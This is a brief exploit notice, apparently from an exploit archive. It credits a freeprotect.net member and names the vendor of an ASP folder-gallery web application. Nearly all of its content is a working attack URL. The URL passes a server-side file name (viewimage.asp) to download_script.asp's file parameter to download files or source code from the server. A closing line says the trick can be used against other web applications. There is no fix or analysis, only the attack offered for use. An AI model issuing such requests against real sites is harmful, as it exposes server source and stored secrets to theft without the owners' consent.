------------------------------------------------
Discovered by freeprotect.net member
------------------------------------------------
Vendor site: http://www.tenyearsgone.com 
Exploit: 
http://target/aspfoldergallery/download_script.asp?file=viewimage.asp 
This can use to exploit other web applications.